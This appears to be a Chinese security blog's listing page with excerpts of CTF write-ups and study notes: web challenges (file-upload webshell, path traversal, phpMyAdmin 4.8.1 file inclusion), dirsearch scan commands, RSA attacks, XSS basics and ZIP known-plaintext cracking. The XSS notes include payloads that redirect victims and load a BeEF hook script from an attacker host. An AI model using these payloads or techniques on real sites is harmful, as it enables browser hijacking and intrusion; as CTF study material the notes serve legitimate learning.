NewStar CTF 2025 Week1-Web白帽小 K 的故事(1)
NewStar CTF 2025 Week1-Web白帽小 K 的故事(1)对话提示看源代码(下面的图时候来上传完截屏的,有我们需要上传的test.mp3) 源代码在/v1/onload页面 假设使用post传file=文件名 如果文件已经上传成功data.success为true,那么我们就能得到File content: ->猜测onload是执行接口 思路一:那如果我们直接上传木马catflag呢,我们是不是可以直接得到flag? 思路二:phpinfo(),flag也在里面 ${encodeURIComponent(file)}如果不加这个函数,直接发送 file=../../muma.php: 路径截断:浏览器或服务器可能会把 ../ 识别为改变当前的 URL 路径,导致请求发到错地址。 特殊字符冲突:如果你的文件名包含 & 或 =,后端解析 POST 请求时会把它当成“下一个参数”的开始,导致文件名被切断,服务器找不到文件。 加上它,就是为了把文件名变成符合 URL 规范的纯文本字符串,确保后端能接收到完整的路径字符串...
NewStar CTF 2025 Week2-搞点哦润吉吃吃🍊
NewStar CTF 2025 Week2-搞点哦润吉吃吃🍊登录,账户密码在源代码 登陆后开始挑战,写脚本就行 先要知道几个重要信息,提示抓包,那抓包看看 说明start响应页面的setcookie会作为下面verify页面的session 这里不一样应该是因为过了几次我想到还有一个验证页面 我们只需写一个脚本,满足: 从登陆后的响应中拿到session,和计算式子然后拿到计算结果去挑战 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960import requestsdef auto_challenge(): base_url = "http://127.0.0.1:17375" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) A...
[GWCTF 2019]我有一个数据库 1
[GWCTF 2019]我有一个数据库1页面一打开,抓包看到了数据库,一开始想到的sql注入,但明确没有注入点,所以我们扫扫文件看看有什么有用的信息 看到phpmyadmin,可以联想到某项版本下是存在漏洞的 打开phpmyadmin页面,看到了具体的版本 查找这个版本对应的漏洞 phpMyAdmin 4.8.1 远程文件包含漏洞简介phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。 在phpMyAdmin 4.8.2 之前的 4.8.x 版本中,其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。 漏洞还原:文件/index.php代码 123456789if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target'...
[MRCTF2020]套娃 1
[MRCTF2020]套娃1进去源代码显示: 1234567891011<!--//1st$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!');} if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~";}!--> 其实对于substr_count($query, '%5f') != 0来说,他仍然相当于强比较 毕竟返回类型仍然...
dirsearch+sql慢速扫描命令
dirsearch+sql慢速扫描命令dirsearchpython dirsearch.py -u “http://93781c8e-cb96-40b4-89cc-615491bd3538.node5.buuoj.cn:81“ -t 1 -d 5 –full-url -R 5 -w ./ctf_high.txt python dirsearch.py -u “http://…” -t 1 -d 5 -w ./ctf_high.txt python dirsearch.py -u http://93781c8e-cb96-40b4-89cc-615491bd3538.node5.buuoj.cn:81 -e * python dirsearch.py -u “http://93781c8e-cb96-40b4-89cc-615491bd3538.node5.buuoj.cn:81“ -t 2 –delay=0.5 dirsearch -e * -u “http://e29de8ac-3508-4880-8ca1-958ff86fd...
快速入门crypto-RSA 核心笔记
快速入门crypto-RSA 核心笔记一、加解密核心公式1. 密钥生成 选两个大质数 p 和 q 计算模数 n = p * q 计算欧拉函数 φ(n) = (p-1) * (q-1) 选公钥 e,满足 1 < e < φ(n) 且 e 和 φ(n) 互质(最大公约数为 1) 求私钥 d,满足 (e * d) mod φ(n) = 1 → d 是 e 在模 φ(n) 下的逆元 2. 加密明文 m → 密文 c 1c = m^e mod n 3. 解密密文 c → 明文 m 1m = c^d mod n 二、常见攻击方式(大白话)1. 模数可分解攻击(最基础) 适用场景:拿到公钥 (e, n) 和密文 c,且能把 n 拆成 p*q 攻击原理 : 分解 n = p*q(CTF 里常用工具:yafu、factordb 网站) 算 φ(n) = (p-1)*(q-1) 求 e 的逆元 d → 用 d 解密 c 得 m 关键条件:n 能被成功分解(如果 p 和 q 太小,分解很容易) 2. 共模攻击(同一 n 漏洞) 适用场景:同一明文 m,用同一个 n、不同...
密码学crypto学习笔记
密码学crypto学习笔记HEX、DEC、OCT 和 BIN含义如下: HEX,英文全称 Hexadecimal,表示十六进制。 DEC,英文全称 Decimal,表示十进制。 OCT,英文全称 Octal,表示八进制。 BIN,英文全称 Binary,表示二进制。 1.Quoted-printabl 可打印字符 引用 编码Quoted-printable编码是一种二进制数据在Internet上传输时的一种编码方式。 它将二进制数据转换成可打印的ASCII字符。 这种编码方式将每个非可打印字符 (ASCII值小于32或大于126),如二进制数据的控制字符或扩展字符 (如汉字),转换为一个等号”=“加上它的ASCII值的16进制表示,如”x0A”会变成”=0A”。 2.栅栏密码123 栅栏密码是一种简单的替换式密码 加密过程 以明文 “THIS IS ZHISHITOM” 为例,去除空格后得到 “THISISZHISHITOM”。如果设置栏数为3进行加密,加密过程如下: 第一组:T H I S I 第二组:S Z H I S 第三组:H I T O...
b站网课ctf学习笔记
b站网课ctf学习笔记1.python requests2.信息收集2.1谷歌黑客搜索语法 fofa github泄露源码和账号密码 2.2 主动信息收集 网站指纹识别 端口扫描 目录扫描 子域名扫描 漏洞扫描 3. XSS 攻击3.1 反射型(非持久) 特征:恶意代码通过 URL 传入,单次请求生效 常见攻击方式: 重定向: 1<script>window.location="恶意网址"</script> 图片加载恶意脚本: 1<img src="http://BeEF_IP:3000/hook.js"> 脚本标签: 1<script src="恶意xss.js"></script> 绕过滤:大小写、URL/Base64 编码 1<ScrIpT> URL/Base64 编码 3.2 存储型(持久) 特征:恶意代码存到服务器(数据库 / 留言板等),所有访问者中招 核心:代码提交后被持久...
ZIP 明文爆破笔记
ZIP 明文爆破笔记一、核心原理1. 加密逻辑(ZipCrypto 算法) 加密:明文 XOR 密码流 = 密文 解密:密文 XOR 密码流 = 明文 反推密码流:明文 XOR 密文 = 密码流 2. XOR(异或)规则二进制运算:相同为 0,不同为 1 例:a(01100001)XOR 5(00000101)= d(01100100);d XOR 5 又变回 a 3. 明文爆破本质已知明文 + 对应密文→算密码流→反推 ZIP 的 3 个核心密钥(key0/key1/key2)→用密钥解密整个 ZIP 前提:仅对 ZIP 传统加密有效,AES256 加密无效! 二、bkcrack 使用条件 ZIP 内文件未压缩(检查:bkcrack -L 压缩包.zip) 已知至少12 字节明文(8 字节连续)+ 明文在文件中的位置(偏移) 三、题目bkcrack 无法直接破解 ZIP 密码,必须靠 “已知明文”和“你已有密文” 反推加密密钥,再用密钥解密 不管是字符明文还是文件头明文,核心是: 准备明文文件 → 得密钥 → 用...
web学习为什么post传参和cookie的分隔符号不同?
web学习为什么post传参和cookie的分隔符号不同?在学传参的时候将常会遇到多传参的题目,但是cookie用的是;,post用的是& 它们诞生于不同的年代,服务于不同的标准,为了互不干扰,必须使用不同的“切割符”。 1. & 分隔符:来自“表单”的传统 (HTML 标准)& 符号主要用于 URL 查询参数(GET)和 POST 请求体(application/x-www-form-urlencoded)。 起源:它是由 HTML 标准定义的。当我们提交一个网页表单时,浏览器需要一种方式把 key1=value1、key2=value2 串起来。 为什么选 &:在早期的 ASCII 码表中,& (Ampersand) 是一个常用的连接符,且在普通文本中出现的频率远低于逗号或分号,不容易引起歧义。 结构示例: user=admin&pass=123456&action=login 2. ; 分隔符:来自“饼干”的规范 (HTTP Cookie 标准)Cookie 的格式是由专门的 RFC 规范(如 RFC 6265...